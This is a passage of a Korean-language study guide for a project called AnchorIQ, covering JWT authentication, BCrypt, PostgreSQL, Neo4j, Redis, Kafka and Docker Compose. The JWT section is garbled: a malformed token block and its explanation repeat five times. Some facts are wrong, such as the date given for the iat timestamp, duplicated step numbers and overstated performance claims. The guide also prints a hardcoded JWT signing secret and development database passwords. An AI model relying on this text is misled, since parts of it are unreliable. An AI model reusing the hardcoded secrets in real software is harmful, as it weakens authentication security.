Spring Data Neo4j에 의존합니다.

왜 이렇게 나누는가?

1. 테스트 용이성:

테스트할 때 진짜 Neo4j 없이도 테스트 가능.
Mock 객체를 주입하면 됨:

```
VesselRepository mockRepo = mock(VesselRepository.class);  
when(mockRepo.findByImo(imo)).thenReturn(Optional.of(testVessel));
```

2. DB 교체 가능:

Neo4j를 다른 DB로 바꿔도 Domain 코드는 안 건드림.
Infrastructure의 구현체만 교체.

3. 의존성 방향:

Domain(안쪽) ← Infrastructure(바깥쪽)

안쪽이 바깥쪽을 모르는 구조.
이것이 DIP(Dependency Inversion Principle, 의존성 역전 원칙).
SOLID의 D입니다.

이 Part 3에서 다룬 것:

- Spring Boot가 해결하는 문제
- IoC/DI의 원리와 AnchorIQ에서의 실제 동작
- Bean 생명주기 (컴포넌트 스캔 → 의존성 해결 → 인스턴스 생성)
- Spring MVC 요청 처리 파이프라인 (Tomcat → Filter Chain → DispatcherServlet → Controller)
- DDD 4개 레이어의 역할과 코드 예시
- Entity, Value Object, DTO의 차이
- Aggregate Root와 Repository 패턴

AnchorIQ CS 완전 가이드 — Part 4: JWT 인증, 데이터 베이스, Kafka

Chapter 5: JWT 인증 — 사용자를 어떻게 식별하는가

5.1 인증(Authentication)과 인가(Authorization)의 차이

이 두 개념은 자주 혼동되지만 완전히 다릅니다.

인증 (Authentication) – "너 누구야?"

공항에서 여권을 보여주는 것.
"이 사람이 본인이 맞는지" 확인하는 과정.

AnchorIQ에서:

- 로그인 시 이메일+비밀번호로 본인 확인
- 이후 요청에서 JWT 토큰으로 본인 확인
- 실패 시: 401 Unauthorized

인가 (Authorization) – "너 이거 해도 돼?"

공항에서 퍼스트클래스 라운지에 들어가려는 것.
"이 사람이 이 서비스를 이용할 권한이 있는지" 확인하는 과정.

AnchorIQ에서:

- USER 역할인데 /api/admin/** 접근 → 권한 없음
- FREE 플랜인데 What-if 시뮬레이션 → 권한 없음
- 실패 시: 403 Forbidden

순서: 인증 먼저 → 인가 다음

"너 누구야?" (인증)

- "아, aitest@anchoriq.com이구나" (인증 성공)
- "근데 너 이 기능 쓸 수 있어?" (인가)
- "USER 역할이고 FREE 플랜이니까... 안 됨" (인가 실패, 403)

5.2 JWT의 내부 구조

JWT를 실제로 분해해보기

AnchorIQ에서 발급된 실제 JWT:

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjUsImVtYWlsIjoiiYwL0ZXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
```

이것은 3개의 부분을 점(.)으로 연결한 것입니다:

- 부분 1: eyJhbGciOiJIUzI1NiJ9
- 부분 2: eyJ1c2VySWQiOjUs...
- 부분 3: abc123signature

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
```

이것은 3개의 부분을 점(.)으로 연결한 것입니다:

- 부분 1: eyJhbGciOiJIUzI1NiJ9
- 부분 2: eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
- 부분 3: abc123signature

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjUsImVtYWlsIjoiiYwL0ZXN0QGFuY2hvcm1xLmNvbSIsInJvbmGUioi
```

이것은 3개의 부분을 점(.)으로 연결한 것입니다:

- 부분 1: eyJhbGciOiJIUzI1NiJ9
- 부분 2: eyJ1c2VySWQiOjUs...
- 부분 3: abc123signature

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
```

이것은 3개의 부분을 점(.)으로 연결한 것입니다:

- 부분 1: eyJhbGciOiJIUzI1NiJ9
- 부분 2: eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
- 부분 3: abc123signature

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
```

이것은 3개의 부분을 점(.)으로 연결한 것입니다:

- 부분 1: eyJhbGciOiJIUzI1NiJ9
- 부분 2: eyJ1c2VySWQiOiJUSmVtYWlsIjoiYXN0QGFuY2hvcm1xLmNvbSIsInJvbGUiaW
- 부분 3: abc123signature

각 부분을 Base64URL 디코딩하면:

[부분 1: Header – 어떤 알고리즘으로 서명했는지]

Base64URL 디코딩: {"alg":"HS256"}

alg = Algorithm(알고리즘)

HS256 = HMAC + SHA-256

HMAC이란?

Hash-based Message Authentication Code.

"비밀키를 사용하여 메시지의 무결성을 검증하는 방법"

비유: 편지에 빨간 도장을 찍는 것.

도장(비밀키)을 가진 사람만 같은 도장을 찍을 수 있으므로,

도장이 맞으면 "이 편지는 진짜"라고 확인할 수 있음.

SHA-256이란?

Secure Hash Algorithm, 256비트.

어떤 길이의 입력이든 256비트(32바이트) 고정 길이 해시값으로 변환.

특징:

- 같은 입력 → 항상 같은 출력 (결정적)
- 입력이 1비트만 달라도 출력이 완전히 달라짐 (눈사태 효과)
- 출력에서 입력을 역추적할 수 없음 (일방향)

예:

SHA-256("hello") → 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824

SHA-256("hellp") → 완전히 다른 값 (1글자만 바뀌어도)

[부분 2: Payload – 사용자 정보 (Claims)]

Base64URL 디코딩:

```
{
  "userId": 5,
  "email": "aitest@anchoriq.com",
  "role": "USER",
  "type": "access",
  "iat": 1712197375,
  "exp": 1712215375
}
```

각 필드(Claim)의 의미:

userId: 5

데이터베이스에서 이 사용자의 Primary Key.

서버가 "어떤 사용자의 요청인지" 식별하는 데 사용.

email: "aitest@anchoriq.com"

로깅, 표시용.

role: "USER"

권한 수준. USER 또는 ADMIN.

SecurityConfig에서:

```
.requestMatchers("/api/admin/**").hasRole("ADMIN")
```

→ ADMIN만 접근 가능한 경로를 구분.

type: "access"

토큰 종류. access(API 호출용) 또는 refresh(갱신용).

JwtAuthenticationFilter에서:

```
if (jwtTokenProvider.isRefreshToken(token)) → 인증 안 함
```

→ refresh 토큰으로 API를 호출하는 것을 방지.

iat (Issued At): 1712197375

토큰 발급 시각. Unix Timestamp (1970-01-01부터의 초).

2026-04-04 12:42:55 (UTC)

exp (Expiration): 1712215375

토큰 만료 시각.

$iat + 18000초 = iat + 5시간$

→ 이 시간 이후에는 토큰이 무효화됨.

→ 서버가 검증할 때 현재 시각 > exp이면 → 인증 거부.

[부분 3: Signature – 위조 방지 서명]

서명 생성 과정:

① header와 payload를 Base64URL로 인코딩

```
base64url(header) = "eyJhbGciOiJIUzI1NiJ9"
```

```
base64url(payload) = "eyJ1c2VySWQiOiJ1c2VySWQiJ3Us..."
```

② 점(.)으로 연결

```
"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ1c2VySWQiJ3Us..."
```

③ 비밀키와 함께 HMAC-SHA256 해시

```
HMAC-SHA256(
```

```
"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ1c2VySWQiJ3Us...",
```

```
"anchoriq-jwt-secret-key-2026-must-be-at-least-256-bits-long!!"
```

```
)
```

→ 고정 길이 해시값 (서명)

④ 서명을 Base64URL로 인코딩하여 세 번째 부분으로 추가

서명 검증 과정 (서버가 토큰을 받았을 때):

① 토큰을 점(.)으로 분리

② header + payload 부분을 같은 비밀키로 HMAC-SHA256 재계산

③ 재계산한 서명과 토큰의 서명을 비교

- 같으면 → 위조되지 않음 ✓
- 다르면 → 위조됨 ✗ (누군가 payload를 변경했음)

왜 위조가 불가능한가?

해커가 payload의 role을 "USER"에서 "ADMIN"으로 바꾸면:

- ① payload가 변경됨
- ② 하지만 해커는 비밀키를 모르므로 새 서명을 만들 수 없음
- ③ 서버가 검증할 때: 재계산한 서명 ≠ 토큰의 서명 → 거부!

비밀키를 아는 사람만 유효한 서명을 만들 수 있습니다.

비밀키는 서버에만 있으므로, 서버만 토큰을 발급할 수 있습니다.

중요: JWT는 암호화가 아닙니다!

흔한 오해: "JWT는 안전하니까 비밀번호를 넣어도 되겠지?"

→ 절대 안 됩니다!

Base64는 인코딩(형식 변환)이지 암호화가 아닙니다.

누구나 Base64를 디코딩하여 payload를 읽을 수 있습니다.

jwt.io 같은 사이트에서 토큰을 붙여넣으면 즉시 내용이 보입니다.

JWT가 보장하는 것:

- ✓ 무결성: "이 토큰의 내용이 변조되지 않았다" (서명으로 검증)
- ✓ 인증: "이 토큰을 발급한 건 우리 서버다" (비밀키로 서명)
- ✗ 기밀성: "이 토큰의 내용을 아무도 못 본다" (보장하지 않음!)

→ userId, email, role 같은 식별 정보만 넣음.

→ 비밀번호, 카드번호 등은 절대 넣지 않음.

5.3 비밀번호 해싱 — BCrypt

왜 비밀번호를 그대로 저장하면 안 되는가

만약 비밀번호를 DB에 평문(Plain Text)으로 저장한다면:

users 테이블:

email	password	
admin@anchoriq.com	admin123!	← 그대로 저장!

문제:

1. DB가 해킹당하면 모든 비밀번호가 노출
2. 같은 비밀번호를 다른 사이트에도 쓰는 사람 → 연쇄 피해
3. 내부 직원(DBA)도 비밀번호를 볼 수 있음

해시(Hash)로 해결

해시란: 원본 데이터를 고정 길이의 "지문"으로 변환하는 것.

원본 → 지문은 가능하지만, 지문 → 원본은 불가능(일방향).

"Test1234!" → BCrypt → "\$2a\$10\$WKd.J2kf..."

users 테이블:

email	password	
aitest@anchoriq.com	\$2a\$10\$WKd.J2kfGWgyjl8VnSieB0WZTbtHRJBSJIoUpqX0oAHjwu	

DB가 해킹당해도 원래 비밀번호를 알 수 없음!

BCrypt의 내부 구조

\$2a\$10\$WKd.J2kfGWgyjl8VnSieB0WZTbtHRJBSJIoUpqX0oAHjwu9jXzAhG

\$2a\$ → BCrypt 알고리즘 식별자

10\$ → Cost Factor (작업 인수)

$2^{10} = 1024$ 회 반복 해시

→ 의도적으로 느리게 만듦!

WKd.J2kfGWgyjl8VnSieB0 → Salt (22문자, 랜덤 생성)

같은 비밀번호라도 Salt가 다르면 해시 결과가 다름

→ Rainbow Table 공격 방어

WZTbtHRJBSJIoUpqX0oAHjwu9jXzAhG → 해시 결과

BCrypt가 SHA-256보다 나은 이유

SHA-256:

속도: ~1억 회/초 (GPU)

- 해커가 1초에 1억 개의 비밀번호를 시도할 수 있음
- "abc123" 같은 간단한 비밀번호는 몇 초 만에 뚫림

BCrypt (Cost 10):

속도: ~10회/초

- 해커가 1초에 10개만 시도 가능
- "abc123"도 뚫는 데 수일~수주 소요

BCrypt가 의도적으로 느린 이유:

정상 사용자는 로그인을 1번 하므로 100ms 지연은 문제없음.

하지만 해커는 수백만 번 시도해야 하므로 $100\text{ms} \times \text{수백만} = \text{수년}$.

Chapter 6: 데이터베이스 — 데이터를 어디에 어떻게 저장하는가

6.1 관계형 데이터베이스 (PostgreSQL)

테이블, 행, 열

users 테이블:

id	email	password(해시)	role
1	admin@anchoriq.com	\$2a\$10\$placeho..	ADMIN
2	test@anchoriq.com	\$2a\$10\$WKd.J2k..	USER
5	aitest@anchoriq.com	\$2a\$10\$WKd.J2k..	USER

← 열(Column) = 속성

← 행(Row) = 데이터 한 건

id: Primary Key (PK) – 각 행을 고유하게 식별하는 값
자동 증가 (1, 2, 3, 4, 5...)

같은 email은 두 번 존재할 수 없음 (UNIQUE 제약조건)

ACID 트랜잭션 — 왜 돈을 다루는 데이터에 PostgreSQL을 쓰는가

시나리오: 사용자가 PRO 구독을 결제합니다.

- ① payments 테이블에 결제 기록 INSERT
- ② subscriptions 테이블의 plan을 FREE → PRO로 UPDATE
- ③ users 테이블의 api_quota를 5 → 무제한으로 UPDATE

만약 ②에서 에러가 나면?

ACID 없이:

- ① 결제 기록 저장됨  (돈은 빠져나감)
 - ② 구독 변경 실패  (아직 FREE)
 - ③ 실행 안 됨 
- 돈은 났는데 PRO가 아닌 상태! 고객 불만!

ACID 있어 (@Transactional):

- ② 에러 발생 → 전체 롤백
 - ① 도 취소됨 (결제 기록 삭제)
- 마치 아무 일도 없었던 것처럼 원래 상태로 복구

각 ACID 속성:

A (Atomicity, 원자성):

- "전부 성공하거나 전부 실패하거나"
- ①②③이 하나의 단위. 중간 상태 없음.

C (Consistency, 일관성):

- "규칙을 항상 만족"
- 잔액은 음수가 될 수 없음, 이메일은 고유해야 함 등
- 트랜잭션 전후로 DB 규칙이 항상 유지됨.

I (Isolation, 격리성):

- "동시 트랜잭션이 서로 간섭하지 않음"
- A 사용자가 결제하는 동안 B 사용자가 같은 구독을 조회하면?
- B는 A의 중간 상태를 볼 수 없음 (커밋 전 데이터 안 보임)

D (Durability, 지속성):

- "커밋되면 영구 보존"
- 커밋 직후 서버가 꺼져도 데이터는 디스크에 안전하게 저장됨.
- WAL(Write-Ahead Log)로 보장.

인덱스 — B-Tree

문제: 100만 명의 사용자 중 email이 "aitest@anchoriq.com"인 사람을 찾기

인덱스 없이:

```
행 1: admin@... → 아닌데
행 2: test@... → 아닌데
행 3: test2@... → 아닌데
...
행 999,999: other@... → 아닌데
행 1,000,000: aitest@... → 찾았다!
→ 최악의 경우 100만 번 비교 → O(n)
```

인덱스有り (B-Tree):

B-Tree는 정렬된 트리 구조입니다.
도서관의 카드 목록과 같습니다.

찾고자 하는 값: "aitest@anchoriq.com"

```
레벨 0:      [M]
              / \
레벨 1:   [E]  [S]
           / \  / \
레벨 2: [A-D] [F-L] [N-R] [T-Z]
         /
레벨 3: [aa..] [ab..] [ai..] → 찾았다!
```

비교 횟수: 4번 (트리의 높이)
→ $O(\log n) = \log_2(1,000,000) \approx 20$ 번

100만 번 vs 20번 = 50,000배 빠름!

6.2 그래프 데이터베이스 (Neo4j)

왜 관계형 DB만으로는 부족한가

문제: "이 선박의 소유 회사가 제재국에 등록되어 있는가?"

관계형 DB (SQL):

```
SELECT v.name
FROM vessels v
JOIN companies c ON v.company_id = c.id           ← JOIN 1
JOIN countries co ON c.country_id = co.id         ← JOIN 2
JOIN sanctions s ON co.id = s.country_id         ← JOIN 3
WHERE v.imo = '9863297' AND s.active = true;
```

3개의 JOIN이 필요합니다.

JOIN이 늘어날수록 성능이 급격히 저하됩니다.

4-hop 질의 (선박→회사→국가→제재→UN결의안):

→ 4개의 JOIN → 수백만 행이면 수 초 소요

"모든 제재국 기업 소유 선박 중 호르무즈를 지나는 것":

→ 6개의 JOIN → 매우 느림

그래프 DB (Neo4j Cypher):

```
MATCH (v:Vessel {imo: '9863297'})
      -[:OWNED_BY]->(c:Company)
      -[:REGISTERED_IN]->(co:Country)
      -[:SANCTIONED_BY]->(s:Sanction)
WHERE s.active = true
RETURN v.name
```

JOIN이 없습니다. 관계를 "따라가기만" 합니다.

Neo4j의 Index-Free Adjacency:

각 노드가 인접 노드의 물리적 포인터를 직접 가지고 있습니다.

포인터를 따라가는 것은 $O(1)$ 입니다 (상수 시간).

4-hop = $O(4)$ = 상수 시간. 데이터가 아무리 많아도 같은 속도.

6.3 Redis — 인메모리 캐시

왜 캐시가 필요한가

AI 질의 처리 시간:

OpenClaw AI 1차 호출: ~1초

Neo4j 쿼리 실행: ~0.1초

OpenClaw AI 2차 호출: ~1초

총: ~2.2초

같은 질문을 5분 이내에 다시 하면?

→ 또 2.2초 기다려야 함

→ AI에 불필요한 부하

→ 사용자 경험 나쁨

Redis 캐시 적용 후:

첫 번째 질의: 2.2초 (정상 처리 + 결과를 Redis에 저장)

5분 이내 같은 질의: ~1ms (Redis에서 바로 반환!)

$2200ms \rightarrow 1ms = 2,200\text{배}$ 빠름!

Redis가 빠른 이유

PostgreSQL/Neo4j: 디스크(SSD)에 데이터 저장

디스크 읽기: ~0.1ms (SSD 기준)

Redis: 메모리(RAM)에 데이터 저장

메모리 읽기: ~0.0001ms

100배~1000배 빠릅니다.

대신 단점:

- 메모리는 비쌈 (디스크 대비)
- 서버 꺼지면 데이터 사라짐 (영속성 약함)
- 그래서 "캐시"로 사용. 사라져도 다시 계산하면 됨.

AnchorIQ에서 Redis 사용

```
// AiQueryApplicationServiceImpl.java

// 캐시 키: 질의 문자열의 해시코드
String cacheKey = "ai:result:" + query.hashCode();

// 캐시 확인
String cached = redisTemplate.opsForValue().get(cacheKey);
if (cached != null) {
    // 캐시 히트! AI 호출 없이 바로 반환 (~1ms)
    return parseCachedResult(cached);
}

// 캐시 미스 → AI 호출 (~2.2초)
Map<String, Object> result = queryService.executeQuery(query);

// 결과를 Redis에 저장 (TTL 5분)
redisTemplate.opsForValue().set(cacheKey, serialize(result), 5, TimeUnit.MINUTES);
// 5분 후 자동 삭제 → 오래된 데이터가 캐시에 남지 않음
```

Chapter 7: Kafka — 이벤트 기반 아키텍처

7.1 Kafka가 해결하는 문제

문제: AIS에서 선박 위치 데이터가 들어오면,
Redis(실시간 위치), Neo4j(온톨로지), AI(이상 탐지)
세 곳에 동시에 전달해야 합니다.

직접 호출 방식 (Kafka 없이):

```
AisCollector {  
    void onPositionReceived(AisData data) {  
        redisService.updatePosition(data);    // 1. Redis 저장  
        neo4jService.updateVessel(data);      // 2. Neo4j 업데이트  
        aiService.detectAnomaly(data);        // 3. AI 분석  
    }  
}
```

문제점:

- ① Neo4j가 느리면? → Redis와 AI도 기다려야 함 (병목)
- ② AI 서비스가 죽으면? → 전체 파이프라인 멈춤 (장애 전파)
- ③ 새로운 소비자 추가 시? → AisCollector 코드 수정 필요 (결합)
- ④ 데이터 유실 → Neo4j 저장 실패하면 그 데이터 영원히 사라짐

Kafka 방식:

```
AisCollector → [Kafka Topic: ais-positions] → Consumer A (Redis)  
                                                Consumer B (Neo4j)  
                                                Consumer C (AI)
```

장점:

- ① Neo4j가 느려도 Redis와 AI는 독립적으로 처리 (디커플링)
- ② AI 서비스가 죽어도 Kafka에 메시지가 남아있어 나중에 재처리 (내구성)
- ③ 새 소비자 추가 → Consumer D만 추가하면 됨 (확장성)
- ④ Kafka가 메시지를 디스크에 보관 → 유실 없음 (영속성)

Kafka의 핵심 개념

[Producer] → [Topic] → [Consumer]

Producer (생산자):

메시지를 Kafka에 보내는 쪽.

AnchorIQ: AIS 수집기, 뉴스 수집기, 날씨 수집기 등

Topic (토픽):

메시지가 저장되는 카테고리(채널).

AnchorIQ: ais-positions, risk-alerts, news-events 등 8개

Consumer (소비자):

메시지를 Kafka에서 가져가는 쪽.

AnchorIQ: Redis 저장기, Neo4j 업데이트, AI 분석기 등

비유: 우체국 시스템

Producer = 편지를 보내는 사람

Topic = 우편함 (카테고리별로 분류)

Consumer = 편지를 가져가는 사람

보내는 사람과 받는 사람이 직접 만날 필요 없음.

보내는 사람은 우편함에 넣기만 하면 됨.

받는 사람은 자기 속도로 가져가면 됨.

Partition과 Offset

Topic: ais-positions (3개 파티션)

Partition 0: [위치1] [위치4] [위치7] ...
 off=0 off=1 off=2

Partition 1: [위치2] [위치5] [위치8] ...
 off=0 off=1 off=2

Partition 2: [위치3] [위치6] [위치9] ...
 off=0 off=1 off=2

파티션(Partition):

토픽을 물리적으로 나눈 것.
병렬 처리를 위해 존재합니다.

파티션이 3개이면?

→ Consumer 3개가 각각 1개 파티션을 담당
→ 3배 빠른 처리!

오프셋(Offset):

파티션 내에서 메시지의 순서 번호.
"어디까지 읽었는지" 추적.

Consumer가 off=2까지 읽었다면,
다음에는 off=3부터 읽으면 됨.

Consumer가 중간에 죽었다가 살아나도?

→ 마지막으로 커밋한 offset부터 재개
→ 메시지 유실 없음!

Key 기반 파티셔닝:

같은 Key의 메시지는 항상 같은 파티션으로 갑니다.

AnchorIQ: Key = MMSI (선박 식별 번호)

→ 같은 선박의 위치 업데이트는 항상 같은 파티션
→ 한 선박의 위치가 순서대로 처리됨을 보장

Consumer Group

같은 토픽을 여러 목적으로 소비해야 할 때:

Consumer Group "redis-writer":

Consumer A → Partition 0
Consumer B → Partition 1, 2
→ Redis에 선박 위치 저장

Consumer Group "neo4j-updater":

Consumer C → Partition 0
Consumer D → Partition 1
Consumer E → Partition 2
→ Neo4j 온톨로지 업데이트

Consumer Group "ai-analyzer":

Consumer F → Partition 0, 1, 2
→ AI 이상 탐지

같은 그룹 내: 하나의 파티션은 하나의 Consumer만 읽음 (부하 분산)

다른 그룹 간: 같은 메시지를 독립적으로 읽음 (다중 소비)

→ AIS 데이터 하나가 Redis, Neo4j, AI에 모두 전달됨

→ 각각 독립적으로 자기 속도에 맞춰 처리

Dead Letter Topic (DLT) — 실패 메시지 처리

Consumer가 메시지 처리에 실패하면?

AnchorIQ의 정책:

1차 시도 실패 → 1초 대기 → 재시도
2차 시도 실패 → 1초 대기 → 재시도
3차 시도 실패 → DLT(Dead Letter Topic)로 이동

[ais-positions] → Consumer 처리 실패 (3번) → [ais-positions.DLT]

DLT에 쌓인 메시지:

→ 운영자가 원인 분석 (DB 다운? 데이터 형식 오류?)
→ 원인 해결 후 수동 재처리

핵심: 하나의 실패가 전체 파이프라인을 멈추지 않음!

Chapter 8: Docker — 어디서든 동일하게 실행

8.1 Docker가 해결하는 문제

"제 컴퓨터에서는 되는데요..."

원인:

개발자 A의 맥북: Java 21, Neo4j 5.15, Redis 7.2

개발자 B의 윈도우: Java 17, Neo4j 5.10, Redis 7.0

운영 서버: Java 21, Neo4j 5.12, Redis 7.1

→ 버전 차이, 설정 차이, OS 차이로 동작이 달라짐

Docker의 해결:

"프로그램 + 필요한 모든 것(라이브러리, 설정, OS)"을
하나의 이미지(Image)로 패키징.

어디서 실행하든 100% 동일한 환경.

컨테이너 vs 가상머신

가상머신 (VM):

Application	
Libraries	
Guest OS (Ubuntu 22.04)	← 전체 OS 포함 (2~10 GB)
Hypervisor	← 하드웨어 가상화
Host OS	
Hardware	

시작: 분 단위

크기: GB 단위

격리: 완전 (별도 OS)

Docker 컨테이너:

Application	
Libraries	← OS 커널은 Host와 공유 (50~500 MB)
Docker Engine	← 프로세스 격리
Host OS	
Hardware	

시작: 초 단위

크기: MB 단위

격리: 프로세스 수준 (같은 OS 커널 공유)

핵심 차이:

VM: 하드웨어를 가상화 → 전체 OS 복제 → 무거움

Docker: OS 커널 공유 → 프로세스만 격리 → 가벼움

AnchorIQ Docker Compose

```
# docker-compose.yml (11개 서비스)

services:
  postgresql:
    image: postgres:16          # PostgreSQL 16 이미지
    ports: ["5433:5432"]        # 호스트:5433 → 컨테이너:5432
    environment:
      POSTGRES_DB: anchoriq
      POSTGRES_USER: anchoriq
      POSTGRES_PASSWORD: anchoriq_dev_2026
    volumes:
      - pgdata:/var/lib/postgresql/data # 데이터 영속화
      # 컨테이너를 삭제해도 데이터는 볼륨에 남아있음

  neo4j:
    image: neo4j:5-community
    ports:
      - "7474:7474"          # Neo4j 브라우저 (웹 UI)
      - "7687:7687"          # Bolt 프로토콜 (Cypher 쿼리)
    environment:
      NEO4J_AUTH: neo4j/neo4j_dev_2026

  redis:
    image: redis:7-alpine      # alpine = 경량 Linux 기반
    ports: ["6380:6379"]
    # 왜 6380? 호스트에 다른 Redis가 6379에서 이미 돌고 있을 수 있으므로

  kafka:
    image: confluentinc/cp-kafka:7.6.0
    ports: ["29092:29092"]
    environment:
      KAFKA_PROCESS_ROLES: broker,controller # KRaft 모드 (Zookeeper 없음)
      KAFKA_NUM_PARTITIONS: 3                # 기본 3 파티션

# docker compose --profile core up -d
# → PostgreSQL + Redis만 시작

# docker compose --profile full up -d
# → 11개 전부 시작
```

부록: 전체 흐름 27단계 (종합)

사용자가 "호르무즈 근처에 제재국 선박 있어?" 입력 후 Enter:

[네트워크]

- ① DNS: localhost → 127.0.0.1 (/etc/hosts에서 즉시, 0ms)
- ② TCP: 이미 Keep-Alive 연결이 있으면 재사용 (0ms)
없으면 3-Way Handshake (SYN→SYN-ACK→ACK, ~0.1ms)
- ③ HTTP: POST 요청 메시지 구성 및 전송

[Tomcat]

- ④ TCP 소켓에서 바이트 스트림 읽기
- ⑤ HTTP 메시지 파싱 → HttpServletRequest 객체 생성

[Filter Chain]

- ⑥ CorsFilter: Origin 확인, CORS 헤더 추가
- ⑦ JwtAuthenticationFilter: Cookie에서 JWT 추출
- ⑧ JWT 서명 검증 (HMAC-SHA256 재계산 → 비교)
- ⑨ JWT에서 userId=5, role=USER 추출 → SecurityContext 설정
- ⑩ AuthorizationFilter: authenticated() 확인 → 통과

[DispatcherServlet]

- ⑪ HandlerMapping: POST /api/ai/query → AiQueryController.query()
- ⑫ Jackson: JSON → AiQueryRequest 역직렬화 (Deserialization)
- ⑬ @AuthenticationPrincipal: SecurityContext에서 UserPrincipal 추출

[Controller → Application Service]

- ⑭ 쿼리 확인: PostgreSQL에서 구독 정보 조회 → API 사용 가능 확인
- ⑮ Redis 캐시 확인: GET ai:result:{hash} → MISS

[AI Service – 1차 호출]

- ⑯ OpenClawClient: HTTP POST to 127.0.0.1:18789/v1/chat/completions
System Prompt: Neo4j 스키마 + 규칙, Temperature: 0.1
- ⑰ OpenClaw → OpenAI 엔진: 자연어 → Cypher 쿼리 변환
- ⑱ CypherQueryValidator: 읽기 전용 검증 (CREATE/DELETE 차단)

[Neo4j]

- ⑲ Bolt 프로토콜(7687)로 Cypher 실행
- ⑳ Vessel→OWNED_BY→Company→REGISTERED_IN→Country→SANCTIONED_BY→Sanction
+ PASSES_THROUGH→Chokepoint(Hormuz) 관계 탐색
결과: 0건

[AI Service – 2차 호출]

- ㉑ OpenClawClient: 결과를 자연어로 변환, Temperature: 0.7
- ㉒ "현재 조회 결과상 호르무즈 인근에 제재 대상국 관련 선박은..."

[후처리]

- ㉓ Redis: SET ai:result:{hash} → TTL 5분
- ㉔ PostgreSQL: API 사용량 +1 (@Transactional, ACID 보장)
- ㉕ Elasticsearch: 로그 기록 (비동기, Tier 3 – 실패 무시)

[응답]

㉔ Jackson: Map → JSON 직렬화 (Serialization)

㉕ Tomcat: HTTP 200 OK 응답 → TCP 전송 → 브라우저 수신 → 화면 렌더링

소요 시간: ~2~5초 (대부분 AI 2회 호출에서)

이 가이드에서 다룬 모든 주제:

Part	주제	핵심 개념
1	네트워크	IP, 포트, DNS 6단계, TCP 3-Way Handshake, Nginx
2	HTTP/REST	요청/응답 구조, GET/POST, 상태코드, Cookie, CORS, REST 원칙
3	Spring/DDO	IoC/DI, Bean 생명주기, MVC 파이프라인, DDD 4레이어, Entity/VO/DTO
4	인증/DB/Kafka	JWT 구조/서명, BCrypt, ACID, B-Tree, Neo4j, Redis 캐시, Kafka